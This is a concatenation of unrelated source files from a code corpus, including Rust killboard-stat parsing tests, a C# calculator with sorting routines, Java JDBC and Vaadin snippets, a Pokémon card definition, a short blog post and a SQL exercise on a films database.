"typeID")] type_id: IntOptional, #[serde(alias = "name")] name: StrRequired, }, SystemTop { #[serde(alias = "kills")] kills: IntRequired, #[serde(alias = "solarSystemID")] system_id: IntRequired, #[serde(alias = "solarSystemName")] system_name: StrRequired, #[serde(alias = "sunTypeID")] sun_type_id: IntRequired, #[serde(alias = "solarSystemSecurity")] system_security: StrRequired, #[serde(alias = "systemColorCode")] system_color: StrRequired, #[serde(alias = "regionID")] region_id: IntRequired, #[serde(alias = "regionName")] region_name: StrRequired, #[serde(alias = "constellationID")] constellation_id: IntRequired, #[serde(alias = "constellationName")] constellation_name: StrRequired, #[serde(alias = "id")] id: IntRequired, #[serde(alias = "typeID")] type_id: IntOptional, #[serde(alias = "name")] name: StrRequired, }, LocationTop { #[serde(alias = "kills")] kills: IntRequired, #[serde(alias = "locationID")] location_id: IntRequired, #[serde(alias = "locationName")] location_name: StrRequired, #[serde(alias = "itemName")] item_name: StrOptional, #[serde(alias = "id")] id: IntRequired, #[serde(alias = "typeID")] type_id: IntOptional, #[serde(alias = "name")] name: StrRequired, }, } #[derive(Serialize, Deserialize, Debug, PartialEq, Clone)] #[serde(untagged)] pub enum HourKills { AsMap(HashMap<StrRequired, IntRequired>), AsVec(Vec<IntRequired>), } #[derive(Serialize, Deserialize, Debug, PartialEq, Clone)] pub struct Activity { pub max: IntRequired, #[serde(alias = "0")] pub sun: HourKills, #[serde(alias = "1")] pub mon: HourKills, #[serde(alias = "2")] pub tue: HourKills, #[serde(alias = "3")] pub wed: HourKills, #[serde(alias = "4")] pub thu: HourKills, #[serde(alias = "5")] pub fri: HourKills, #[serde(alias = "6")] pub sat: HourKills, pub days: Vec<StrRequired>, } impl Activity { #[allow(unused_variables)] pub fn write(output: &mut dyn Write, activity: &Activity, ctx: &Context) { for (index, day) in activity.days.iter().enumerate() { let data = match index { 0 => &activity.sun, 1 => &activity.mon, 2 => &activity.tue, 3 => &activity.wed, 4 => &activity.thu, 5 => &activity.fri, 6 => &activity.sat, _ => &activity.sun, }; let values: Vec<String> = match data { HourKills::AsMap(m) => (0..24).map(|x| { m.get(&format!("{}", x)).cloned().unwrap_or(0) } ).collect::<Vec<i32>>(), HourKills::AsVec(v) => v.clone() }.into_iter().map(|x| format!("{}", x)).collect(); let id = format!("{}_Radar", &day); reports::canvas(output, &id); let id_data = format!("{}_Values", &id); reports::hidden(output, id_data, values.clone().join(",")); } } } #[derive(Serialize, Deserialize, Debug, PartialEq, Clone)] #[serde(untagged)] pub enum SuperValues { Empty(Vec<String>), Exists(HashMap<String, Super>) } #[derive(Serialize, Deserialize, Debug, PartialEq, Clone)] pub struct Super { data: Vec<SuperStat>, title: StrRequired, } #[derive(Serialize, Deserialize, Debug, PartialEq, Clone)] pub struct SuperStat { kills: IntRequired, #[serde(alias = "characterID")] character_id: IntRequired, #[serde(alias = "characterName")] character_name: StrRequired, } #[cfg(test)] mod tests { use super::*; use serde_json::json; #[test] #[allow(unused_variables)] fn info() { #[derive(Serialize, Deserialize, Debug, PartialEq, Clone)] struct Holder { #[serde(alias = "info")] info: Info } { // character let rec = json!({ "info":{ "allianceID":99009168, "corporationID":98095669, "factionID":0, "id":2114350216, "lastApiUpdate":{"sec":1579812891,"usec":0}, "name":"Seb Odessa", "secStatus":5.0053732177373, "type":"characterID" } }); let json = serde_json::to_string(&rec); assert!(json.is_ok()); let val: Result<Holder, serde_json::Error> = serde_json::from_str(&json.unwrap()); assert!(val.is_ok()); let item = val.unwrap(); match item.info { Info::CharacterInfo{ alliance_id, corporation_id, faction_id, character_id, last_update, name, .. } => { assert_eq!(99009168, alliance_id); assert_eq!(98095669, corporation_id); assert_eq!(2114350216, character_id); assert_eq!("Seb Odessa", &name); }, _ => assert!(false) } } { // corporation let rec = json!({ "info":{ "allianceID":99009168, "ceoID":1383227978, "factionID":0, "id":98095669, "lastApiUpdate":{"sec":1580685054,"usec":0}, "memberCount":63, "name":"Techno Hive", "ticker":"TE-HI", "type":"corporationID" }, }); let json = serde_json::to_string(&rec); assert!(json.is_ok()); let val: Result<Holder, serde_json::Error> = serde_json::from_str(&json.unwrap()); assert!(val.is_ok()); let item = val.unwrap(); match item.info { Info::CorporationInfo{ alliance_id, ceo_id, faction_id, corporation_id, last_update, name, .. } => { assert_eq!(99009168, alliance_id); assert_eq!(98095669, corporation_id); assert_eq!(1383227978, ceo_id); assert_eq!("Techno Hive", &name); }, _ => assert!(false) } } } #[test] fn tops() { #[derive(Serialize, Deserialize, Debug, PartialEq, Clone, Default)] struct Holder { #[serde(alias = "topAllTime")] inner: Vec<TopRecords> } let rec = json!({ "topAllTime":[ {"type":"character", "data":[{"kills":667,"characterID":2114350216}]}, {"type":"corporation", "data":[{"kills":536,"corporationID":98095669},{"kills":129,"corporationID":98573194}]}, {"type":"alliance", "data":[{"kills":407,"allianceID":99007807},{"kills":129,"allianceID":99009168}]}, {"type":"faction", "data":[]}, {"type":"ship", "data":[{"kills":151,"shipTypeID":34828},{"kills":65,"shipTypeID":621}]}, {"type":"system", "data":[{"kills":85,"solarSystemID":30002386},{"kills":40,"solarSystemID":30002385}]} ] }); let json = serde_json::to_string(&rec); assert!(json.is_ok()); let val: Result<Holder, serde_json::Error> = serde_json::from_str(&json.unwrap()); assert!(val.is_ok()); let holder = val.unwrap(); assert!(!holder.inner.is_empty()); } #[test] fn months() { #[derive(Serialize, Deserialize, Debug, PartialEq, Clone, Default)] struct Holder { inner: Months } let rec = json!({ "inner":{ "201810":{"year":2018,"month":10,"shipsLost":1,"pointsLost":1,"iskLost":59516640}, "201811":{"year":2018,"month":11,"shipsLost":4,"pointsLost":9,"iskLost":1117539099}, "201901":{"year":2019,"month":1,"shipsDestroyed":7,"pointsDestroyed":7,"iskDestroyed":305712147,"shipsLost":2,"pointsLost":9,"iskLost":605249501}, "201902":{"year":2019,"month":2,"shipsDestroyed":28,"pointsDestroyed":89,"iskDestroyed":1560509893,"shipsLost":4,"pointsLost":41,"iskLost":560300039}, } }); let json = serde_json::to_string(&rec); assert!(json.is_ok()); let val: Result<Holder, serde_json::Error> = serde_json::from_str(&json.unwrap()); assert!(val.is_ok()); let holder = val.unwrap(); let maybe_item = holder.inner.get(&201810); assert!(maybe_item.is_some()); let item = maybe_item.unwrap(); assert_eq!(2018, item.year); assert_eq!( 10, item.month); } #[test] fn groups() { #[derive(Serialize, Deserialize, Debug, PartialEq, Clone, Default)] struct Holder { inner: Groups } let rec = json!({ "inner":{ "25":{ "groupID":25, "shipsLost":10, "pointsLost":146, "iskLost":1565690214, "shipsDestroyed":132, "pointsDestroyed":266, "iskDestroyed":2236504239u64}, "1250":{ "groupID":1250, "shipsDestroyed":17, "pointsDestroyed":17, "iskDestroyed":348701721}, } }); let json = serde_json::to_string(&rec); assert!(json.is_ok()); let val: Result<Holder, serde_json::Error> = serde_json::from_str(&json.unwrap()); assert!(val.is_ok()); let holder = val.unwrap(); let maybe_item = holder.inner.get(&25); assert!(maybe_item.is_some()); let item = maybe_item.unwrap(); assert_eq!(25, item.group_id); } #[test] fn active_pvp() { #[derive(Serialize, Deserialize, Debug, PartialEq, Clone, Default)] struct Holder { inner: ActivePvp } let rec = json!({"inner":{"kills":{"type":"Total Kills","count":2}}}); let json = serde_json::to_string(&rec); assert!(json.is_ok()); let val: Result<Holder, serde_json::Error> = serde_json::from_str(&json.unwrap()); assert!(val.is_ok()); let holder = val.unwrap(); let item: ActivePvp = holder.inner; assert_eq!("Total Kills", &item.kills.record_type); assert_eq!(2, item.kills.count); } #[test] fn from_api_for_character() { let response = Stats::new(Entity::Character(2114350216)); assert!(response.is_some()); let object = response.unwrap(); assert_eq!(object.id, 2114350216); assert_eq!(&object.record_type, "characterID"); } #[test] fn character_activity() { let response = Stats::new(Entity::Character(2114350216)); assert!(response.is_some()); let object = response.unwrap(); assert_eq!(object.id, 2114350216); assert_eq!(&object.record_type, "characterID"); assert!(object.activity.is_some()); let activity: Activity = object.activity.unwrap(); assert_eq!(activity.max, 32); assert_eq!(&activity.days[0], "Sun"); assert_eq!(&activity.days[1], "Mon"); assert_eq!(&activity.days[2], "Tue"); assert_eq!(&activity.days[3], "Wed"); assert_eq!(&activity.days[4], "Thu"); assert_eq!(&activity.days[5], "Fri"); assert_eq!(&activity.days[6], "Sat"); if let HourKills::AsMap(kill_map) = activity.sun { assert_eq!(kill_map.get(&String::from("8")), Some(&1)); } else { assert!(false); } } #[test] fn from_api_for_corporation() { let response = Stats::new(Entity::Corporation(98190062)); assert!(response.is_some()); let object = response.unwrap(); assert_eq!(object.id, 98190062); assert_eq!(&object.record_type, "corporationID"); } #[test] fn from_api_for_alliance() { let response = Stats::new(Entity::Alliance(1354830081)); assert!(response.is_some()); let object = response.unwrap(); assert_eq!(object.id, 1354830081); assert_eq!(&object.record_type, "allianceID"); assert!(object.activity.is_some()); } #[test] fn from_api_for_system() { let response = Stats::new(Entity::System(30000142)); assert!(response.is_some()); let object = response.unwrap(); assert_eq!(object.id, 30000142); assert_eq!(&object.record_type, "solarSystemID"); } #[test] fn from_api_for_region() { let response = Stats::new(Entity::Region(10000002)); assert!(response.is_some()); let object = response.unwrap(); assert_eq!(object.id, 10000002); assert_eq!(&object.record_type, "regionID"); } }
Java
UTF-8
941
2.796875
3
[]
no_license
package cn.iktz.web.demo.a08_jdbc.common; import java.sql.CallableStatement; import java.sql.Connection; import java.sql.Types; import org.junit.Test; /* delimiter $$ CREATE PROCEDURE demoSp(IN inputParam VARCHAR(255), INOUT inOutParam varchar(255)) BEGIN SELECT CONCAT('zyxw---', inputParam) into inOutParam; END $$ delimiter ; */ //如何调用存储过程:只需要知道如何用JDBC调用即可 public class ProcedureDemo { @Test public void test() throws Exception{ Connection conn = JdbcUtil.getConnection(); CallableStatement stmt = conn.prepareCall("{call demoSp(?,?)}");//调用存储过程 stmt.setString(1, "dongze"); //输出类型的参数注册类型 stmt.registerOutParameter(2, Types.VARCHAR); stmt.execute();//执行存储过程 String result = stmt.getString(2);//得到输出参数的运算后的结果 zyxw---dongze System.out.println(result); JdbcUtil.release(null, stmt, conn); } }
C#
UTF-8
18,858
2.890625
3
[]
no_license
using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using System.Diagnostics; namespace calculator { public partial class Form1 : Form { public static List<char> inputStr = new List<char>(1000); public Form1() { InitializeComponent(); } private void ButtonSBracketL_Click(object sender, EventArgs e) { if (inputStr.Count != 0) { if (!calculate.IsOper(inputStr[inputStr.Count - 1])) { return; } } inputStr.Add('('); showTextBox.AppendText("("); } private void ButtonSBracketR_Click(object sender, EventArgs e) { inputStr.Add(')'); showTextBox.AppendText(")"); } private void Button7_Click(object sender, EventArgs e) { inputStr.Add('7'); showTextBox.AppendText("7"); } private void Button8_Click(object sender, EventArgs e) { inputStr.Add('8'); showTextBox.AppendText("8"); } private void Button9_Click(object sender, EventArgs e) { inputStr.Add('9'); showTextBox.AppendText("9"); } private void Button4_Click(object sender, EventArgs e) { inputStr.Add('4'); showTextBox.AppendText("4"); } private void Button5_Click(object sender, EventArgs e) { inputStr.Add('5'); showTextBox.AppendText("5"); } private void Button6_Click(object sender, EventArgs e) { inputStr.Add('6'); showTextBox.AppendText("6"); } private void Button1_Click(object sender, EventArgs e) { inputStr.Add('1'); showTextBox.AppendText("1"); } private void Button2_Click(object sender, EventArgs e) { inputStr.Add('2'); showTextBox.AppendText("2"); } private void Button3_Click(object sender, EventArgs e) { inputStr.Add('3'); showTextBox.AppendText("3"); } private void Button0_Click(object sender, EventArgs e) { inputStr.Add('0'); showTextBox.AppendText("0"); } private void ButtonDecimal_Click(object sender, EventArgs e) { inputStr.Add('.'); showTextBox.AppendText("."); } private void ButtonCalculate_Click(object sender, EventArgs e) { //inputStr.Add('='); if(!IsValid(showTextBox.Text)) { MessageBox.Show("括号不匹配,请重新输入!"); return; } showTextBox.AppendText("="); Stopwatch watch = new Stopwatch(); watch.Start(); showTextBox.Text = calculate.CalMain(); string str = calculate.CalMain(); inputStr.Clear(); for (int i = 0; i < str.Length; i++) { inputStr.Add(str[i]); } watch.Stop(); TimeSpan timeSpan = watch.Elapsed; timeTextBox.Text = timeSpan.TotalSeconds.ToString() + "s"; } private void ButtonDivide_Click(object sender, EventArgs e) { inputStr.Add('/'); showTextBox.AppendText("/"); } private void ButtonMul_Click(object sender, EventArgs e) { inputStr.Add('*'); showTextBox.AppendText("*"); } private void ButtonSub_Click(object sender, EventArgs e) { inputStr.Add('-'); showTextBox.AppendText("-"); } private void ButtonAdd_Click(object sender, EventArgs e) { inputStr.Add('+'); showTextBox.AppendText("+"); } private void ButtonDelivery_Click(object sender, EventArgs e) { inputStr.Add('%'); showTextBox.AppendText("%"); } private void ButtonCaret_Click(object sender, EventArgs e) { inputStr.Add('^'); showTextBox.AppendText("^"); } private void ButtonComma_Click(object sender, EventArgs e) { inputStr.Add(','); showTextBox.AppendText(","); } private void buttonBack_Click(object sender, EventArgs e) { inputStr.RemoveAt(inputStr.Count - 1); showTextBox.Text = ""; var builder = new StringBuilder(); builder.Append(showTextBox.Text); for (int i = 0; i < inputStr.Count; i++) { builder.Append(inputStr[i]); } showTextBox.Text = builder.ToString(); } private void buttonClear_Click(object sender, EventArgs e) { showTextBox.Text = ""; inputStr.Clear(); } private void ButtonSqrt2_Click(object sender, EventArgs e) { var num = Convert.ToDouble(showTextBox.Text); Stopwatch watch = new Stopwatch(); watch.Start(); showTextBox.Text = calculate.sqrt2(num).ToString(); watch.Stop(); timeTextBox.Text = watch.Elapsed.TotalSeconds + "s"; } private void ButtonSqrt3_Click_1(object sender, EventArgs e) { var num = Convert.ToDouble(showTextBox.Text); Stopwatch watch = new Stopwatch(); watch.Start(); showTextBox.Text = calculate.sqrt3(num).ToString(); watch.Stop(); timeTextBox.Text = watch.Elapsed.TotalSeconds + "s"; } private void ButtonSquare_Click(object sender, EventArgs e) { Stopwatch watch = new Stopwatch(); watch.Start(); var temp = showTextBox.Text.Split('^'); var leftNumber = Convert.ToDouble(temp[0]); var rightNumber = Convert.ToInt32(temp[1]); showTextBox.Text = calculate.square(leftNumber, rightNumber).ToString(); watch.Stop(); timeTextBox.Text = watch.Elapsed.TotalSeconds + "s"; } private void ButtonSquare2_Click(object sender, EventArgs e) { var num = Convert.ToDouble(showTextBox.Text); Stopwatch watch = new Stopwatch(); watch.Start(); showTextBox.Text = calculate.square2(num).ToString(); watch.Stop(); timeTextBox.Text = watch.Elapsed.TotalSeconds + "s"; } private void ButtonCos_Click(object sender, EventArgs e) { var num = Convert.ToDouble(showTextBox.Text); Stopwatch watch = new Stopwatch(); watch.Start(); showTextBox.Text = calculate.Cos(num).ToString(); watch.Stop(); timeTextBox.Text = watch.Elapsed.TotalSeconds + "s"; } private void ButtonSin_Click(object sender, EventArgs e) { var num = Convert.ToDouble(showTextBox.Text); Stopwatch watch = new Stopwatch(); watch.Start(); showTextBox.Text = calculate.Sin(num).ToString(); watch.Stop(); timeTextBox.Text = watch.Elapsed.TotalSeconds + "s"; } private void ButtonTan_Click(object sender, EventArgs e) { var num = Convert.ToDouble(showTextBox.Text); Stopwatch watch = new Stopwatch(); watch.Start(); showTextBox.Text = calculate.Tan(num).ToString(); watch.Stop(); timeTextBox.Text = watch.Elapsed.TotalSeconds + "s"; } private void ButtonFactorial_Click(object sender, EventArgs e) { var num = Convert.ToDouble(showTextBox.Text); Stopwatch watch = new Stopwatch(); watch.Start(); showTextBox.Text = calculate.Factorial(num).ToString(); watch.Stop(); timeTextBox.Text = watch.Elapsed.TotalSeconds + "s"; } private void ButtonPi_Click(object sender, EventArgs e) { inputStr.Add('3'); inputStr.Add('.'); inputStr.Add('1'); inputStr.Add('4'); inputStr.Add('1'); showTextBox.AppendText("3.141"); showTextBox.AppendText(Convert.ToDouble("π").ToString()); } private void ReverseButton(object sender, EventArgs e) { if (!IsInt(showTextBox.Text)) return; var num = Convert.ToInt32(showTextBox.Text); Stopwatch watch = new Stopwatch(); watch.Start(); showTextBox.Text = calculate.ReverseInt(num).ToString(); watch.Stop(); timeTextBox.Text = watch.Elapsed.TotalSeconds + "s"; } public IList<int> ConverToList() { var source = showTextBox.Text.Split(','); var nums = new List<int>(); for (int i = 0; i < source.Count(); i++) { nums.Add(Convert.ToInt32(source[i])); } return nums; } public void Swap(ref IList<int> nums, int i, int j) { if (nums.Count < i || nums.Count < j) return; var temp = nums[i]; nums[i] = nums[j]; nums[j] = temp; } private void SelectSort(object sender, EventArgs e) { var nums = ConverToList(); Stopwatch watch = new Stopwatch(); watch.Start(); for (int i = 0; i < nums.Count() - 1; i++) { int min = i; int temp = nums[i]; for (int j = i + 1; j < nums.Count; j++) { if (nums[j] < temp) { min = j; temp = nums[j]; } } if (min != i) Swap(ref nums, min, i); } watch.Stop(); timeTextBox.Text = watch.Elapsed.TotalMilliseconds + "ms"; showTextBox.Text = string.Join(",", nums.ToArray()); } private void BubbleSort(object sender,EventArgs e) { var nums = ConverToList(); Stopwatch watch = new Stopwatch(); watch.Start(); /* 经典冒泡 for (int i = nums.Count() - 1; i > 0; i--) { for (int j = 0; j < i; j++) { if (nums[j] > nums[j + 1]) Swap(ref nums, j, j + 1); } } */ /* 冒泡改进 bool flag; for (int i = nums.Count() - 1; i > 0; i--) { flag = true; for (int j = 0; j < i; j++) { if (nums[j] > nums[j + 1]) { Swap(ref nums, j, j + 1); flag = false; } } if (flag) break; } */ //鸡尾酒排序 bool flag; int m = 0, n = 0; for (int i = nums.Count() - 1; i > 0; i--) { flag = true; if (i % 2 == 0) { for (int j = n; j < nums.Count() - 1; j++) { if (nums[j] > nums[j + 1]) { Swap(ref nums, j, j + 1); flag = false; } } if (flag) break; m++; } else { for (int k = nums.Count() - 1 - m; k > n; k--) { if (nums[k] < nums[k-1]) { Swap(ref nums, k, k - 1); flag = false; } } if (flag) break; n++; } } watch.Stop(); timeTextBox.Text = watch.Elapsed.TotalMilliseconds + "ms"; showTextBox.Text = string.Join(",", nums.ToArray()); } public void InsertSort(object sender, EventArgs e) { var nums = ConverToList(); var watch = new Stopwatch(); watch.Start(); /* 经典插入 int temp; for (int i = 1; i < nums.Count(); i++) { temp = nums[i]; for (int j = i - 1; j >= 0; j--) { if (nums[j] > temp) { nums[j + 1] = nums[j]; if (j == 0) { nums[0] = temp; break; } else { nums[j + 1] = temp; break; } } } } */ //二分插入 int temp; int tempIndex; for (int i = 1; i < nums.Count(); i++) { temp = nums[i]; tempIndex = BinarySearchForInsertSort(nums,0,i,i); for (int j = i - 1; j >= tempIndex; j--) { nums[j + 1] = nums[j]; } nums[tempIndex] = temp; } watch.Stop(); timeTextBox.Text = watch.Elapsed.TotalSeconds + "s"; showTextBox.Text = string.Join(",", nums.ToArray()); } public static int BinarySearchForInsertSort(IList<int> nums, int low, int high, int key) { if (low >= nums.Count - 1) return nums.Count - 1; if (high <= 0) return 0; int mid = (low + high) / 2; if (mid == key) return mid; if (nums[key] > nums[mid]) { if (nums[key] < nums[mid + 1]) return mid + 1; return BinarySearchForInsertSort(nums, mid + 1, high, key); } else { if (mid - 1 < 0) return 0; if (nums[key] > nums[mid - 1]) return mid; return BinarySearchForInsertSort(nums, low, mid - 1, key); } } public static bool IsValid(string str) { int len = str.Length; Stack<char> stack = new Stack<char>(); for (int i = 0; i < len; i++) { if (str[i] == '(') { stack.Push(str[i]); } else if (str[i] == ')') { if (stack.Count == 0) return false; var top = stack.ElementAt(stack.Count - 1); if (str[i] == ')' && top != '(') return false; stack.Pop(); } else continue; } if (stack.Count > 0) return false; return true; } private void QuickSort(object sender, EventArgs e) { var nums = ConverToList(); var watch = new Stopwatch(); watch.Start(); QuickSort(nums, 0, nums.Count() - 1); watch.Stop(); timeTextBox.Text = watch.Elapsed.TotalSeconds + "s"; showTextBox.Text = string.Join(",", nums.ToArray()); } public void QuickSort(IList<int> nums, int low, int high) { /* 经典快排 if (low >= high) return; int temp = nums[low]; int i = low + 1, j = high; while (true) { while (nums[j] > temp) j--; while (nums[i] < temp && i < j) i++; if (i >= j) break; Swap(ref nums, i, j); i++; j--; } if (low != j) Swap(ref nums, low, j); QuickSort(nums, j + 1, high); QuickSort(nums, low, j - 1); */ if (low >= high) return; int temp = nums[(low + high) / 2]; int i = low - 1, j = high + 1; int index = (low + high) / 2; while (true) { while (nums[++i] < temp) ; while (nums[--j] > temp) ; if (i >= j) break; Swap(ref nums, i, j); if (i == index) index = j; else if (j == index) index = i; } if (i == j) { QuickSort(nums, j + 1, high); QuickSort(nums, low, i - 1); } else { if (index >= i) { if (index != i) Swap(ref nums, index, i); QuickSort(nums, i + 1, high); QuickSort(nums, low, i - 1); } else { if (index != j) Swap(ref nums, index, j); QuickSort(nums, j + 1, high); QuickSort(nums, low, j - 1); } } } public static bool IsInt(string str) { try { var result = Convert.ToInt32(str); return true; } catch(Exception) { return false; } } public static bool IsDouble(string str) { try { var result = Convert.ToDouble(str); return true; } catch (Exception) { return false; } } } }
Ruby
UTF-8
3,543
2.84375
3
[ "MIT" ]
permissive
require 'skeleton/model' module Skeleton class Item < Model attr_accessor :type, :format, :title, :description, :default, :multiple_of, :maximum, :exclusive_maximum, :minimum, :exclusive_minimum, :max_length, :min_length, :pattern, :max_items, :min_items, :unique_items, :max_properties, :min_properties, :items attr_writer :enum attr_presence :exclusive_maximum, :exclusive_minimum, :unique_items, :items def enum @enum ||= [] end def enum? !enum.empty? end def array? @type == 'array' end def string? @type == 'string' end def number? @type == 'number' end def integer? @type == 'integer' end def boolean? @type == 'boolean' end def file? @type == 'file' end def to_h hash = {} hash[:type] = type if type? hash[:format] = format if format? hash[:items] = items.to_hash if items? hash[:title] = title if title? hash[:description] = description if description? hash[:default] = default if default? hash[:multiple_of] = multiple_of if multiple_of? hash[:maximum] = maximum if maximum? hash[:exclusive_maximum] = exclusive_maximum if exclusive_maximum? hash[:minimum] = minimum if minimum? hash[:exclusive_minimum] = exclusive_minimum if exclusive_minimum? hash[:max_length] = max_length if max_length? hash[:min_length] = min_length if min_length? hash[:pattern] = pattern if pattern? hash[:max_items] = max_items if max_items? hash[:min_items] = min_items if min_items? hash[:unique_items] = unique_items if unique_items? hash[:max_properties] = max_properties if max_properties? hash[:min_properties] = min_properties if min_properties? hash[:enum] = enum if enum? hash end def to_swagger_hash hash = {} hash[:type] = type if type? hash[:format] = format if format? hash[:items] = items.to_swagger_hash if items? hash[:title] = title if title? hash[:description] = description if description? hash[:default] = default if default? hash[:multipleOf] = multiple_of if multiple_of? hash[:maximum] = maximum if maximum? hash[:exclusiveMaximum] = exclusive_maximum if exclusive_maximum? hash[:minimum] = minimum if minimum? hash[:exclusiveMinimum] = exclusive_minimum if exclusive_minimum? hash[:maxLength] = max_length if max_length? hash[:minLength] = min_length if min_length? hash[:pattern] = pattern if pattern? hash[:maxItems] = max_items if max_items? hash[:minItems] = min_items if min_items? hash[:uniqueItems] = unique_items if unique_items? hash[:maxProperties] = max_properties if max_properties? hash[:minProperties] = min_properties if min_properties? hash[:enum] = enum if enum? hash end end end
Java
UTF-8
4,548
2.1875
2
[]
no_license
package control.generatedlink; import com.vaadin.data.Item; import com.vaadin.ui.CustomTable; import dao.controllers.ParamJpaController; import java.io.File; import org.apache.commons.lang3.StringUtils; /** * * @author 003-0823 */ public class DownloadLinkColumn implements CustomTable.ColumnGenerator { private final String field; private final ParamJpaController pjc = new ParamJpaController(); private final String path; public DownloadLinkColumn(String field, String path) { this.field = field; this.path = path; } @Override public Object generateCell(CustomTable source, Object itemId, Object columnId) { Item contentFile = source.getItem(itemId); if (contentFile != null) { if (field.equals("xml_path")) { File file = new File(path + "\\" + contentFile.getItemProperty(field).getValue()); if (file.exists()) { final OnDemandDownloadButton downloadButton = new OnDemandDownloadButton(contentFile.getItemProperty(field).getValue().toString(), file); downloadButton.setCaption("Скачать"); OnDemandFileDownloader fileDownloader = new OnDemandFileDownloader(downloadButton); fileDownloader.extend(downloadButton); return downloadButton; } } if (field.equals("p7s_path")) { File file = new File(path + "\\" + contentFile.getItemProperty(field).getValue()); if (file.exists()) { final OnDemandDownloadButton downloadButton = new OnDemandDownloadButton(contentFile.getItemProperty(field).getValue().toString(), file); downloadButton.setCaption("Скачать"); OnDemandFileDownloader fileDownloader = new OnDemandFileDownloader(downloadButton); fileDownloader.extend(downloadButton); return downloadButton; // } else { // String temp = contentFile.getItemProperty(field).getValue().toString(); // temp = StringUtils.substringBeforeLast(temp, ".") + ".XML.p7s"; // file = new File(path + "\\" + temp); // if (file.exists()) { // final OnDemandDownloadButton downloadButton = new OnDemandDownloadButton(contentFile.getItemProperty(field).getValue().toString(), file); // downloadButton.setCaption("Скачать"); // OnDemandFileDownloader fileDownloader = new OnDemandFileDownloader(downloadButton); // fileDownloader.extend(downloadButton); // // return downloadButton; // } else { // temp = contentFile.getItemProperty(field).getValue().toString(); // temp = StringUtils.substringBeforeLast(temp, ".") + ".xml.p7s"; // file = new File(path + "\\" + temp); // if (file.exists()) { // final OnDemandDownloadButton downloadButton = new OnDemandDownloadButton(contentFile.getItemProperty(field).getValue().toString(), file); // downloadButton.setCaption("Скачать"); // OnDemandFileDownloader fileDownloader = new OnDemandFileDownloader(downloadButton); // fileDownloader.extend(downloadButton); // // return downloadButton; // } else { // temp = contentFile.getItemProperty(field).getValue().toString(); // temp = temp.replace(".xml", ".p7s"); // file = new File(path + "\\" + temp); // if (file.exists()) { // final OnDemandDownloadButton downloadButton = new OnDemandDownloadButton(contentFile.getItemProperty(field).getValue().toString(), file); // downloadButton.setCaption("Скачать"); // OnDemandFileDownloader fileDownloader = new OnDemandFileDownloader(downloadButton); // fileDownloader.extend(downloadButton); // // return downloadButton; // } // } // } } } } return null; } }
TypeScript
UTF-8
1,420
2.65625
3
[ "MIT" ]
permissive
import { Card } from '../../../interfaces' import Set from '../Vivid Voltage' const card: Card = { name: { en: "Sandile", fr: "Mascaïman", es: "Sandile", it: "Sandile", pt: "Sandile", de: "Ganovil" }, illustrator: "Pani Kobayashi", rarity: "Common", category: "Pokemon", set: Set, hp: 70, types: [ "Darkness", ], attacks: [ { cost: [ "Colorless", "Colorless", "Colorless", "Colorless", ], name: { en: "Dredge Up", fr: "Extraction", es: "Ventilar", it: "Dragaggio", pt: "Dragar", de: "Ausbaggern" }, effect: { en: "Discard the top 3 cards of your opponent's deck.", fr: "Défaussez les 3 cartes du dessus du deck de votre adversaire.", es: "Descarta las 3 primeras cartas de la baraja de tu rival.", it: "Scarta le prime tre carte del mazzo del tuo avversario.", pt: "Descarte as 3 cartas de cima do baralho do seu oponente.", de: "Lege die obersten 3 Karten des Decks deines Gegners auf seinen Ablagestapel." }, }, ], weaknesses: [ { type: "Grass", value: "×2" }, ], retreat: 2, regulationMark: "D", variants: { normal: true, reverse: true, holo: false, firstEdition: false }, stage: "Basic", description: { en: "Sandile's still not good at hunting, so it mostly eats things that have collapsed in the desert. It's called \"the cleaner of the desert.\"" } } export default card
Python
UTF-8
117
3.046875
3
[]
no_license
from functools import reduce arr = [x for x in range(100, 1001) if x % 2 == 0] print(reduce(lambda x, y: x*y, arr))
Markdown
UTF-8
971
2.734375
3
[ "MIT" ]
permissive
--- date: 2020-02-27 title: "Something built" cover: "https://unsplash.it/400/300/?random?build" categories: - JavaScript - Node tags: - github - code --- ## RSS So, once upon a time I made a [PR monitor](https://www.npmjs.com/package/pr-monitor) for GitHub so I could get an aggregate view of all the PRs in all our org's repos, and stay on top of them. It worked great, I use it many many times daily. Adding in a Chrome extension today that supports RSS feeds led me to wonder if could generate XML from the JSON output of the tool. Yes, for sure, since really, everything exists as an npm package, even if it's 5 years old and was last built in node 4. So yeah.. in the end, I realized that RSS wasn't the right tool for the job, but I did end up with an Express endpoint that returns JSON PR data. Good times. ```js router.get('/pulls', async (req, res) => { const results = await PRs(); res.json(results); }); ``` Today, I made a thing.
Java
UTF-8
695
2.515625
3
[]
no_license
package com.example.feliz.checked_in; import android.location.Location; import android.widget.Toast; /** * Created by Feliz on 2017/09/14. */ public class Check_In { public void checkin() { float[] distance = new float[2]; // Location.distanceBetween( marker.getPosition().latitude, marker.getPosition().longitude, // circle.getCenter().latitude, circle.getCenter().longitude, distance); // if( distance[0] > circle.getRadius() ){ // Toast.makeText(getBaseContext(), "Outside", Toast.LENGTH_LONG).show(); //} else { // Toast.makeText(getBaseContext(), "Inside", Toast.LENGTH_LONG).show(); //} } }
SQL
UTF-8
893
3.59375
4
[]
no_license
use filmy; show tables; select '1. Wyszukaj wszystkie adresy studiów wytwórni "Paramount"' as ''; select adres from studio where nazwa = 'paramount'; select '2. Wyszukaj datę urodzenia aktora Roberta DeNiro' as ''; select data_urodzenia from gwiazdafilmowa where nazwisko = 'deNiro'; select '3. Wyszukaj wszystkie gwiazdy, które wystąpiły w filmie wyprodukowanym po 1990 roku lub w filmie, którego tytuł zawiera słowo "street"' as ''; select nazwisko_gwiazdy from gwiazdaw where rok_filmu > 1990 or tytul_filmu like 'street'; select '4. Wyszukaj wszystkich wszystkich producentów filmowych zarabiających powyżej 1 000 000$' as ''; select nazwisko,pensja_netto from producencifilmowi where pensja_netto > 1000000; select '5. Wyszukaj wszystkie gwiazdy, które są kobietami albo mieszkają w Miami' as ''; select nazwisko from gwiazdafilmowa where plec = 'żeńska' or adres = 'miami';
Python
UTF-8
5,628
3.0625
3
[]
no_license
